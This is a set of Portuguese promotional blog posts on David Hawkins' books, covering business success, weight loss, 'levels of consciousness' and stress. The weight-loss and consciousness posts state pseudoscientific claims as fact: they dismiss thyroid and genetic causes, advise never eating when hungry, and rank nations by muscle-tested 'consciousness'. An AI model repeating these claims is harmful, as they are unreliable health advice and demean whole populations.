Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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3 Elementos Fundamentais para um Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

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Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 2

No artigo anterior publicado aqui no blog, falamos sobre as bases da abordagem de Dr. David Hawkins para emagrecer e perder peso.

Leia a Parte 1 deste conteúdo aqui.

Na Parte 1, falamos sobre o que não fazer para perder peso, além de trazer os primeiros passos recomendados por Hawkins.

A partir de agora, veremos os passos seguintes para quem decide avançar na prática deste caminho de libertação da culpa e do sofrimento em relação à forma física.

Todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito

Como perder peso: o passo a passo segundo Dr. David Hawkins – Parte 2

No artigo anterior vimos os 3 passos iniciais e agora daremos continuidade, avançando na perda de peso.

Passo 4 para perder peso: faça refeições antecipatórias

Pode parecer bastante contraintuitivo, mas Dr. David Hawkins recomenda nunca comer quando temos fome!

Ao invés disso, a recomendação é antecipar as refeições e comer antes da fome vir. E, se a fome vier, aprender a observar esse impulso, porém sem atendê-lo. 

Hawkins explica que, no início, isso pode nos deixar com uma sensação de tédio, monotonia ou vazio. Por isso, ele sugere trocar o ato de comer por outras sensações prazerosas, como:

  • tirar uma soneca
  • ler um livro
  • praticar um hobby saudável

Se você anda achando que não tem tempo para dormir, problema resolvido! Agora, em vez de comer por impulso ou fome, que tal tirar um cochilo de 20 minutos em um horário alternativo?

Passo 5: coma bastante proteína

Outro “truque” que Dr. David Hawkins ensina para acelerar o processo de emagrecimento é fazer uma dieta rica em proteínas.

A proteína é sintetizada mais lentamente pelo corpo e o nosso organismo precisa de uma certa quantidade de calorias para queimar cada grama de proteína.

Além disso, as proteínas nos geram uma sensação de saciedade maior!

É importante saber que nem todas as calorias são iguais: uma caloria de proteína tende a ser muito mais benéfica do que uma caloria de açúcar, por exemplo.

Passo 6 para perder peso: evite açúcar e doces no início

Falando em açúcar, principalmente no início do processo de emagrecimento é recomendável evitar os doces.

Isso é ainda mais importante se você tem o hábito de comer açúcar (ou carboidratos refinados, como farinha, pães, massas e bolos) de estômago vazio.

O açúcar é absorvido pelo corpo quase que instantaneamente, em uma velocidade muito grande, e não consegue ser metabolizado nesse ritmo tão veloz. 

O resultado disso? Nosso corpo transforma o açúcar em gordura.

E não é só isso: o açúcar estimula a produção de insulina, que traz o próprio açúcar no sangue rapidamente para baixo — e isso gera uma sensação de fome.

Ou seja, cria-se um círculo vicioso de cada vez precisar comer mais açúcar, gerando mais fome e mais estoque de gorduras.

Passo 7: aumente o prazer de comer

A essa altura você talvez esteja desanimado ou desanimada. Pode ser que você pense “ah, mas eu não queria abrir mão do prazer de comer…”.

Então, aqui vai uma boa notícia!

Na verdade, para emagrecer devemos AUMENTAR o prazer de comer. 

Você já notou que, quando comemos por impulso, mal saboreamos a comida? Às vezes comemos de forma tão ansiosa que nem mesmo sentimos os sabores, os temperos e as texturas dos alimentos.

Dr. David Hawkins revela que quando não estamos com fome, a comida é muito mais saborosa. Começamos a verdadeiramente sentir cada mordida. Não há qualquer perda no prazer de comer — pelo contrário.

O prazer de comer agora nasce do próprio ato de comer, e não mais da sensação de fome. Experimente e perceba por si próprio.

Passo 8 para perder peso: crie um lembrete para o seu adulto

Você já observou cuidadosamente a si mesmo enquanto come?

Dr. Hawkins conta que notou algo curioso: quando ele sentava para comer, não era o adulto David que estava ali se alimentando. Era a “criança interior”.

É como se existissem três pessoas dentro de nós: a “criança”, o “adulto” e os “pais”. São três vozes dentro da nossa cabeça.

Enquanto o adulto dentro de nós quer emagrecer, a criança só quer saborear mais e mais daquelas comidas deliciosas. Afinal, o que uma criança sabe sobre dietas, peso e calorias? A consciência da criança mimada só diz “eu quero, eu pego, eu me satisfaço”.

Depois que satisfazemos todos os desejos alimentares da nossa criança interior, os pais vêm e dizem “Você fez tudo errado, não deveria ter repetido a comida!”. Isso gera um ciclo de culpa que não ajuda em nada no processo de emagrecimento.

Mas o que fazer na prática? Simples: deixe lembretes para o seu adulto na porta da geladeira, na mesa e nos armários. Escreva algo como “Apenas adultos”.

Entre a ingenuidade da criança e a cobrança dos pais, a “voz” mais apta para tomar boas decisões é a voz interior do adulto.

Passo 9: crie uma programação positiva sobre o novo corpo

Outra técnica simples e bastante prática é visualizar o tipo de corpo que você quer ter e associá-lo a sensações e emoções positivas.

Por exemplo, você pode se imaginar magro e agradecer por ter esse corpo em forma, amando esse corpo e essa imagem sua.

Se quiser, você pode combinar a visualização com afirmações, dizendo: “É incrível ser magro, ativo e me sentir bem com o meu corpo”.

Inúmeras pesquisas mostram que técnicas de visualização funcionam. Por isso, podemos usá-las sem receio e aproveitar seus benefícios.

Passo 10 para perder peso: defina um limite de quilos

O décimo e último passo que Dr. David Hawkins ensina para perda de peso é estabelecer um limite de quilos e nunca se permitir passar daquele peso.

Isso nos protege de voltar a padrões antigos sem perceber e acabar ficando presos neles.

Por exemplo, se você escolher 60 quilos e sem querer chegar a 61, é hora de voltar ao passo 1 e praticar as recomendações novamente.

Conclusão: como perder peso de maneira prática, fácil e alegre

Todos os passos que vimos neste artigo e também no primeiro artigo desta série são bastante práticos. À primeira vista, eles podem parecer pequenos “truques” ou atalhos, mas a verdade é que exigem uma determinação profunda de amar a si mesmo.

Dr. Hawkins deixa claro que a base para todas as técnicas é aprendermos a nos amar, começarmos a nos valorizar e amar aquilo que realmente somos. Assim, aos poucos começamos a nos divertir com o corpo, olhando para ele com amor.

Vale lembrar também que bastam alguns minutos por dia para praticar todos os 10 passos e, assim, perder peso de maneira prática, fácil e alegre.

Para saber mais, todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito

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Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 1

A cada ano, milhões de pessoas traçam como meta perder peso.

Em algum momento, todos esses indivíduos se perguntam: será que existe algum jeito de perder peso sem sofrimento? Será que é possível emagrecer de maneira simples, fácil, prática e alegre?

Para a surpresa de muitos estudantes do Dr. David Hawkins, o professor da consciência abordou este assunto em seu livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito.

A boa notícia é que, sim, é possível emagrecer de forma leve e feliz com a ajuda da consciência e da espiritualidade!

Veja o que Dr. David Hawkins recomenda para perder peso sem sofrer.

Como perder peso: Dr. David Hawkins também passou por isso

Dr. David Hawkins perdeu 25 quilos — o equivalente a 30% do seu peso corporal — permanentemente após aplicar o que ensina no capítulo 11 do livro Cura e Recuperação. 

Além de sua experiência pessoal, o doutor relata que a técnica ensinada funcionou para todos os pacientes que a colocaram em prática.

Dr. Hawkins explica que o alívio de um problema sempre deve ser simples, direto, duradouro e gratuito.

Como perder peso: o que NÃO funciona!

Segundo Hawkins, dietas normalmente não funcionam a longo prazo. Por quê? Simples: elas tendem a trazer sentimentos de culpa e recriminação.

Este é um ponto central: não é possível perder peso com base na culpa!

Enquanto não tivermos clareza disso, continuaremos repetindo alternativas que nos fazem sentir errados. Essas soluções até trazem resultados no curto prazo, mas não se sustentam, pois não mudam a maneira que a pessoa se relaciona com o corpo. Ou seja, não trabalham no nível da consciência.

Como perder peso: o que funciona?

Assim como já estudamos em outros artigos aqui do blog, o que soluciona os problemas em qualquer área da vida humana é a mudança no estado ou nível de consciência.

Neste sentido, é fundamental compreendermos a diferença entre “poder” e “força”, conforme relatado no livro best seller Poder vs Força, também de Dr. David Hawkins.

Basicamente, qualquer caminho que utilize como base a força de vontade está fadado a dar errado. Afinal, “força de vontade” significa justamente forçar a vontade, forçar a barra.

Como Dr. David Hawkins ensina, forçar algo sempre traz resultados e consequências negativas, levando ao sofrimento e à frustração. O que precisamos, então, é optar pelo uso do Poder, que significa ganharmos consciência sobre a situação e escolhermos um caminho de coragem, disposição, aceitação e amor em relação à situação.

Em suma, é preciso abrir mão do nível de consciência negativo da força de vontade (que é sinônimo de Desejo — calibragem em 125 na Escala da Consciência) e optar pelo nível de consciência positivo da Disposição (calibragem em 310).

Isso serve para qualquer contexto, inclusive o emagrecimento e a perda de peso.

Como perder peso: o passo a passo segundo Dr. David Hawkins

Os passos que Hawkins ensina têm como base a natureza da própria consciência. Ou seja, atuam a nível espiritual, e não apenas físico ou mental.

Passo 1: cancele crenças

Todos nós crescemos ouvindo a nossa família e as pessoas ao nosso redor afirmarem um monte de coisas diferentes sobre o corpo e suas condições. Mas será que essas afirmações são realmente verdadeiras?

Entre as crenças mais comuns estão:

“Na nossa família é normal estar acima do peso, são os genes.”

“É por causa da minha tireóide.”

“É porque eu tinha sobrepeso quando era criança e isso criou muitas células de gordura.”

Na prática, essas crenças populares e teorias médicas se mostram falsas.

Existem casos de pessoas que fazem a mesma dieta e obtêm resultados completamente diferentes. Assim como há casos de indivíduos que foram obesos a vida toda, vieram de famílias com vários casos de sobrepeso e conseguem emagrecer.

Esses são só alguns exemplos. O fato é que, não importa qual seja a crença popular ou médica sobre perder peso, a realidade mostra que essas afirmações não se sustentam.

Portanto, o primeiro passo para emagrecer com leveza é você cancelar as crenças negativas ou limitantes.

Você pode fazer isso afirmando: “Eu sou um ser infinito e só estou sujeito àquilo que mantenho em mente”.

Dr. Hawkins ensina que aquilo que mantemos em mente tende a se manifestar. Portanto, se você abrir mão de crenças limitantes e mantiver em mente apenas crenças positivas sobre o processo de emagrecimento, os resultados serão muito melhores.

Passo 2: mantenha um certo peso em sua mente

Ainda dentro da ideia de manter em mente aquilo que você deseja, é recomendável que você fixe mentalmente um peso desejável.

Se for 60 quilos, por exemplo, você pode até mesmo visualizar uma imagem da balança marcando 60 quilos.

É comum termos a ideia de que primeiro devemos mudar nossos resultados físicos para depois experienciarmos a felicidade, quando na verdade é o contrário. Primeiro devemos nos visualizar no estado desejado, pois o que é mantido em mente se manifesta no corpo.

Passo 3: quando sentir fome, observe a sensação

Agora vamos para um passo ainda mais prático!

Quando a sensação que até então você chamava de fome surgir, ignore os pensamentos, especialmente cancelando os pensamentos de fome.

Em vez disso, observe diretamente a sensação. Foque na experiência interior daquilo que você está vivenciando. Vá para o local onde está tendo essa sensação sem dar nomes ou rótulos para a sensação. Apenas observe e sinta. Apenas experiencie.

Comece a desapegar de resistir a essas sensações. Não tente se livrar da sensação. Não julgue a sensação como errada. Apenas sinta e observe.

Esse é o movimento de ir para a própria consciência.

Perceba que para fazer isso você não precisa de muito tempo. Dr. Hawkins descobriu que qualquer técnica de mudança comportamental funciona se ela se encaixar na rotina da pessoa. Porém, se exigir mudar todo o estilo de vida, os resultados provavelmente não se sustentarão.

No começo, é indicado que assim que a fome surgir você pare por alguns minutos, sente-se tranquilamente e faça esse processo de observação.

Entretanto, com a prática você verá que será possível utilizar essa técnica de forma fluida no dia a dia, sem nem mesmo precisar parar ou se sentar.

Caso queira se aprofundar ainda mais nesse processo de experienciar e desapegar da sensação, leia o livro best seller Deixar Ir. Essa é a obra em que Dr. Hawkins explica em detalhes o mecanismo da rendição ou desapego.

Como perder peso: continue aprofundando o assunto

Gostou desses 3 pontos iniciais para perder peso com o auxílio da consciência e espiritualidade?

No segundo artigo desta série vemos os passos seguintes recomendados por Dr. David Hawkins para emagrecer de maneira prática, fácil e alegre.

Leia a continuação e descubra como perder peso sem sofrer!

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Níveis de Consciência

Qual é a verdadeira origem do sofrimento humano?

Você já se perguntou por que uma porcentagem tão grande da população humana vive em níveis graves de pobreza e sofrimento?

Ou então, já se questionou por que alguns povos e grupos sociais parecem ter tanta dificuldade para se manterem empregados e longe do crime ou da corrupção?

É comum analisarmos as causas das dificuldades humanas, e normalmente acreditamos que a origem dos problemas está nas questões sociais, econômicas ou educacionais. Certamente, todos esses fatores fazem parte da equação.

Porém, através de décadas de estudo sobre as verdadeiras origens do sofrimento humano, Dr. David Hawkins nos mostra que existe um ponto mais profundo que culmina em todos os problemas de distribuição social: os níveis de energia da população.

Nos últimos artigos baseados no livro Poder vs Força, tivemos a oportunidade de conhecer os Níveis de Consciência e o Teste Muscular aplicado à Escala da Consciência

Agora, aprenderemos sobre a Distribuição Social e sua relação com os Níveis de Consciência das diversas “camadas” da população. Veremos como é a distribuição da sociedade em relação aos níveis de energia e consciência, e as consequências que isso traz em aspectos da vida cotidiana.

Distribuição Social dos Níveis de Consciência

De acordo com milhões de calibragens feitas no estudo dos níveis de consciência humana, Dr. David Hawkins constatou que uma representação gráfica da distribuição dos níveis de energia da população mundial se assemelharia ao formato de uma pirâmide.

Ou seja, são diversas “camadas” da população, onde a parte baixa da pirâmide concentra muito mais pessoas do que a parte alta. Neste caso, 85% da raça humana calibra abaixo de 200 (Coragem), nível crítico onde inicia a integridade.

Em outras palavras, a maioria esmagadora da população humana (85%) vive suas vidas baseada em emoções como Orgulho, Raiva, Ganância, Medo, Tristeza, Apatia, Culpa e Vergonha.

Em um primeiro momento esta porcentagem pode até parecer improvável, mas basta examinarmos as condições do mundo para percebermos que alguns subcontinentes inteiros têm dificuldades até mesmo de sobreviver. Nesses locais, fome e doenças são comuns, assim como opressão política e escassez de recursos sociais.

As energias de Apatia e Medo levam à miséria e sofrimento

Em alguns países e locais, a população vive em um estado constante de Apatia. Este é um nível de consciência extremamente baixo (apenas 50 na Escala de Consciência, que vai de 1 a 1.000).

O estado energético de apatia, que é um estado praticamente de ausência de consciência, faz com que a vida se torne desesperançosa e miserável. Não há perspectiva de futuro e todos os problemas parecem não ter solução.

Além disso, grande parte do resto da população mundial vive basicamente no nível de consciência do Medo (nível 100 na Escala da Consciência). 

Até certo ponto, é comum que o ser humano busque uma forma ou outra de segurança durante toda a sua vida. No entanto, pessoas que baseiam sua existência na energia do medo não conseguem avançar em nenhuma área da vida. Elas vivem preocupadas, com medo de perder, e acabam atraindo todos os tipos de problemas — pois seu foco está sempre naquilo que podem perder, onde podem falhar, ataques que podem sofrer etc.

O Desejo e o Orgulho aprisionam as pessoas no status

Uma parte da população mundial transcende a desesperança (Apatia) e o mero impulso de sobrevivência (Medo) e passa a buscar satisfazer suas vontades a partir do nível de consciência de Desejo/Ganância (125 na Escala da Consciência, que vai de 1 a 1.000).

Essa é a energia que impulsiona diversos setores da economia por meio do consumo, da propaganda e, inclusive, da própria inveja. Quando os seres humanos conseguem alcançar seus objetos de desejo, eles desenvolvem o que o mundo muitas vezes reconhece como sucesso e status. Isso os leva ao nível de consciência do Orgulho (175 na Escala de Consciência).

Entre os níveis considerados negativos (aqueles abaixo de 200 na escala de 1 a 1.000), o nível de Orgulho é o nível negativo que está mais próximo das energias positivas. O problema é que, justamente por isso, ele se torna um “falso positivo”. 

Para as pessoas que até então viviam presas em Apatia ou Medo, o Orgulho parece extremamente agradável e atrativo. Contudo, Dr. Hawkins destaca que não se pode ter qualquer satisfação humana significativa antes do nível de 250 (Neutralidade).

Isso porque todos níveis negativos trazem muito mais sofrimento do que alegria (mesmo no nível de Orgulho, a felicidade chega a no máximo 22%).

Já no primeiro nível positivo, a Coragem, a felicidade já salta para 55%. O desafio aí é que a Coragem ainda está muito suscetível à influência e às oscilações dos níveis negativos. Por isso Hawkins nos diz que a Neutralidade representa o primeiro nível de consciência seguro para um indivíduo ou para uma população.

Correlação cultural dos níveis de consciência

Como mencionamos, cada nível de consciência ou nível de energia terá como consequência determinados padrões nos aspectos da vida cotidiana da população.

A seguir, os níveis abaixo de 200 representam os níveis negativos de consciência, enquanto os níveis acima de 200 representam as energias positivas.

Níveis abaixo de 200 (níveis de sofrimento acentuado)

Nos países e populações que calibram abaixo de 200, o foco está simplesmente em sobreviver. O padrão aqui é de escassez. Faltam roupas, o analfabetismo é comum, as doenças e a desnutrição estão presentes, a mortalidade infantil é alta.

Povos que calibram abaixo de 200 fazem trabalhos pouco qualificados, comércio rudimentar e constroem artefatos simples, como canoas e alojamentos temporários. O estilo de vida pode ser ainda nômade, ou então contar com agricultura pouco evoluída. São os países subdesenvolvidos, como é comum em certas nações da África ou América Central.

As populações que calibram em torno de 200 apresentam mão de obra semiqualificada. As roupas são adequadas e a educação fundamental já está presente.

Níveis de 200 a 299 (Coragem e Neutralidade)


Aqui já vemos povos ou camadas da população com mão de obra qualificada, trabalhadores de escritório, negociantes e comerciantes, além de indústrias.

Nos níveis anteriores a pesca, por exemplo, é uma atividade de subsistência. A partir daqui ela já se torna uma indústria.

Níveis de 300 a 399 (Disposição e Aceitação)

A partir do nível de 300, temos os profissionais técnicos, gerentes, os artesãos habilidosos e as estruturas de negócio mais sofisticadas.

Em populações desses níveis, a conclusão do ensino superior se torna algo comum. Aqui temos os países em desenvolvimento, os quais ainda têm muitos pontos de desigualdade para superar, mas onde a qualidade de vida já é muito superior às nações abaixo de 200.

As pessoas se interessam por esportes, estilo e entretenimento. A TV costuma ser um grande passatempo.

Conforme avançamos (nível 350 em diante), encontramos a gerência superior, os educadores e os artesãos mais conscientes. São as pessoas que pensam no coletivo, tendo uma visão de mundo que vai além da sua vizinhança ou cidade. Aqui a sobrevivência já está assegurada por uma série de habilidades que foram desenvolvidas, então é possível focar em contribuir com o mundo, viajar e curtir a vida de outras formas.

Níveis de 400 a 499 (Razão)

No nível da razão vemos o despertar do intelecto. O foco se volta à educação superior, à ciência, à literatura. A razão é a consciência típica dos executivos e cientistas. Em termos globais, este é o nível das nações desenvolvidas.

Se nos níveis mais baixos as casas das pessoas apresentam poucos materiais de leitura, aqui as famílias leem jornais, revistas e têm estantes cheias de livros. Na TV, o interesse é por canais de educação e consciência política mais sofisticada. Grandes referências em comunicação, em questões intelectuais e artísticas estão neste nível, assim como grandes juízes, estadistas, inventores e líderes de indústrias. As recreações agora envolvem o xadrez, viagens culturais, shows e espetáculos de teatro.

Como a educação é a base deste nível, as pessoas costumam se reunir em grandes áreas metropolitanas, onde existem os centros importantes de instrução e informação, como as grandes universidades. Para ter uma ideia, Albert Einstein e Sigmund Freud calibravam em 499, assim como Newton e Descartes.

Níveis acima de 500 (Amor, Paz e Iluminação)

Se no nível de 200 temos uma “divisão” crítica da consciência, um outro grande salto acontece aos 500. Aqui a grande motivação passa a ser o Amor, independente da atividade que esteja sendo executada.

Pessoas nesse nível trazem a excelência, a criatividade, a dedicação, o compromisso e o altruísmo como marca. A partir desse nível emergem grandes obras da música, arquitetura e outras artes. Nos 500 mais altos estão os líderes mais inspiradores, que servem de exemplo para toda a sociedade e que ajudam a reduzir o sofrimento da humanidade.

Pouquíssimas pessoas despertam o nível de 600, caracterizado pela Paz. Nesse ponto o indivíduo pode se tornar uma “lenda”, tendo como marca principal a compaixão.

Os níveis de consciência e a origem do sofrimento ou felicidade: o que podemos concluir

Desde que nascem, todas as pessoas já possuem um nível de consciência. Em média, o nível de consciência só aumenta em cinco pontos para cada pessoa ao longo da vida. Isso não quer dizer que não possam haver saltos de consciência ou grandes evoluções individuais — afinal, estamos falando da média da população.

Esse nível de energia, desde o nascimento, é o principal ponto de influência que determina se as experiências das pessoas serão positivas ou negativas, felizes ou sofridas; se elas passarão por desemprego ou encontrarão oportunidades constantes; se buscarão crescer ou permanecerão apáticas.

Segundo Dr. David Hawkins, o nível de consciência é definido por motivação e escolha. Portanto, a maneira mais efetiva para melhorar a situação de vida e vencer o sofrimento é buscar se conectar com um novo nível de consciência mais expandido — isso serve tanto para um indivíduo como para uma população.

De acordo com Hawkins , se escolhermos conscientemente viver a vida de maneira amigável, sincera, amável e tolerante, além de altruísta, certamente níveis mais elevados de consciência podem ser atingidos, embora na prática isso exija uma grande disposição.

A oportunidade de superar o sofrimento e transformar a vida existe para todos que se determinarem verdadeiramente a ativar esse potencial.

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Estresse e Sentimentos Reprimidos

No último artigo sobre o método do Dr. David Hawkins, o Deixar Ir, falamos sobre os sentimentos e a maneira como lidamos com ele. Que tal agora olharmos o estresse e outros sentimentos reprimidos?

Sentimentos Reprimidos – a origem do Estresse

Cada dia mais escutamos falar do estresse como algo que vem de fora e nos afeta nos desequilibrando física, emocional e espiritualmente. 

Mas, será que o estresse é realmente fruto de fatores externos, de uma vida agitada e cheia de preocupações e compromissos, ou seria o estresse uma projeção daquilo que está dentro de nós? 

Segundo Dr. Hawkins o estresse nada mais é do que uma forma de deixarmos ir a pressão de sentimentos reprimidos. São eles que nos deixam vulneráveis ao estresse externo. 

Reagimos ao medo, por exemplo, de acordo com o quantum de medo que já existe dentro de nós. O medo interno cria uma projeção e passamos a ver o medo em tudo o que nos rodeia. Nesse sentido, o externo passa a ser um lugar perigoso porque nosso medo interno se projeta para tudo o que olhamos fora de nós. 

“A regra básica é que focamos no que reprimimos. Estresse é o resultado da pressão acumulada dos nossos sentimentos reprimidos e suprimidos.” (Dr.David Hawkins)

Sentimentos bloqueados e o adoecimento 

Reprimimos nossos sentimentos e essa energia retorna ao nosso sistema nervoso autônomo causando doenças. 

O estresse é isso, uma reação emocional a um estímulo que se precipita assim como seu nível é determinado por nossas crenças e pressões emocionais.

Dr. Hawkins cita o efeito do estresse nos testes musculares, que ele relata claramente em seu livro “Poder vs Força”. Um sentimento negativo provoca perda de 50% da força muscular e reduz a visão física e mental.

Qual é o grau de reatividade que temos aos estímulos externos? 

O mecanismo do Deixar Ir colabora para a diminuição da pressão interna desses sentimentos e das respostas do corpo físico ao estresse. 

Os programas de redução do estresse atuais 

Será que eles funcionam? Em que estão baseados?

Geralmente, o que vemos é a tentativa de aliviar o estresse após ele já estar estabelecido, Mas, qual é sua causa, sua origem?

“É como tentar reduzir a febre sem corrigir a infecção.”(Dr.Hawkins) 

 E por que não atuar na origem, naquilo que está subjacente, ou seja, os sentimentos reprimidos e suprimidos como a raiva, o medo, a culpa e outros sentimentos negativos que impactam nas nossas percepções e comportamentos diante das situações, das pessoas e do mundo. 

Sem essa consciência, do que realmente guardamos em nosso inconsciente, das emoções que soterramos, estaremos apenas cuidando da superfície do problema, mas não atingindo o centro da questão. 

Em seu livro “Deixar Ir”  Dr. Hawkins traz inúmeros exemplos de como o mecanismo do deixar ir pode beneficiar nossa saúde física e mental. Um verdadeiro tratado de como podemos cuidar dos nossos sentimentos e de nossa saúde.

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Examinando as Barreiras do Sucesso

Vamos examinar quais as barreiras do sucesso? Vamos voltar ao exemplo de um negócio conhecido: os restaurantes. 

Você pode se perguntar: restaurantes? Sim, eles mesmos.

Se você acompanhou nosso último artigo vai compreender porque eles estão nesse texto. Vamos olhar para aspectos práticos desse negócio.

Restaurantes são negócios com os quais todos nós estamos familiarizados, o que facilita o a análise do sucesso.

Olhando desde o princípio do negócio, a percepção e a experiência do consumidor com restaurantes observamos que existem várias etapas para que a ideia se concretize.

Pensar e observar cada uma dessas etapas, desde o princípio é fundamental para o sucesso do estabelecimento. Vamos pontuá-las num guia rápido de análise dos diversos fatores envolvidos nisso.

Considerando o Acesso ao Restaurante

Parece algo tão básico, mas muitas vezes alguns estabelecimentos não são efetivos e claros ao se comunicar com o público, deixam de observar coisas fundamentais que facilitam a percepção e o envolvimento do cliente com o local.

Barreiras do Sucesso – O nome do negócio

Qual o nome que se dará ao restaurante?

  • É algo que atende à vaidade do dono?
  • Um nome longo e chique em francês?
  • Um nome bizarro e difícil de pronunciar?

Barreiras do Sucesso – O endereço do negócio

Foi divulgado adequadamente? 

A divulgação foi feita cuidadosamente?

Contém todas as informações necessárias como o endereço completo com rua, número, por exemplo? 

E no local físico, o número existe e tem boa visibilidade? 

Barreiras do Sucesso – A facilidade de comunicação com o negócio

O telefone ou qualquer outro meio de acesso está facilmente disponível? A comunicação contém o telefone?

Algo elementar, mas muitos estabelecimentos simplesmente deixam de dar informações simples e precisas sobre como o consumidor pode acessar o local.

O local precisa ser facilmente encontrado pelo cliente

Se essas 3 barreiras do sucesso iniciais trouxeram dificuldade de acesso ao serviço ou ao produto, existe uma grande possibilidade do consumidor começar a se questionar sobre como um negócio pode sobreviver não observando a ausência de informações. 

Um restaurante que tem:

  • um nome impronunciável,
  • um endereço oculto
  • um telefone desconhecido
  • ou não divulga qualquer forma de contato

Cria a percepção de que não faz questão de facilitar o acesso do cliente a ele. 

A Experiência no Local 

Finalmente você está no restaurante! E aí, o cliente começa a observar a estrutura do local, qual a experiência que ele oferece.

Recepção –  Como fomos atendidos?

  • Uma hostess fria e com sorriso amarelo te atendeu e deixa você na espera?
  • Você foi levado para o bar e lá fica aguardando um bom tempo para a mesa ser liberada?
  • A mesa destinada a você fica próxima ao banheiro e já estava vazia há muito tempo? 

Qual será a impressão que você ficará desse local?

Banheiros – “O jeito que é o banheiro, também é a cozinha.”

Com certeza esse é um pensamento que passa na cabeça de todo mundo que visita o banheiro de um restaurante.

Nossa imaginação nos leva a estender o cuidado que se tem com a higiene do banheiro para a cozinha, para o comportamento do cozinheiro. 

Outro aspecto sobre esse item, é o quanto restaurantes muito bem decorados pecam em apresentar banheiros decorados sem o mesmo rigor. Embora nem todas utilizem os banheiros, são muito importantes na experiência. 

Os banheiros expressam o cuidado, a criatividade e o zelo do proprietário com seu negócio e com aquilo que vai oferecer ao seu cliente. 

A qualidade da experiência

É o conjunto de todas essas experiências que transmitirá o prazer do dono em servir, a intenção que está por trás de seu negócio.

Não é apenas vender, mas algo que entusiasme, que transmita o amor que existe naquele negócio. 

Boas experiências gerarão lealdade e indicações porque foram agradáveis e criaram percepções da boa intenção e amorosidade contida nesse negócio. 

“Sucesso é a consequência automática de boa vontade”(Dr.Hawkins) 

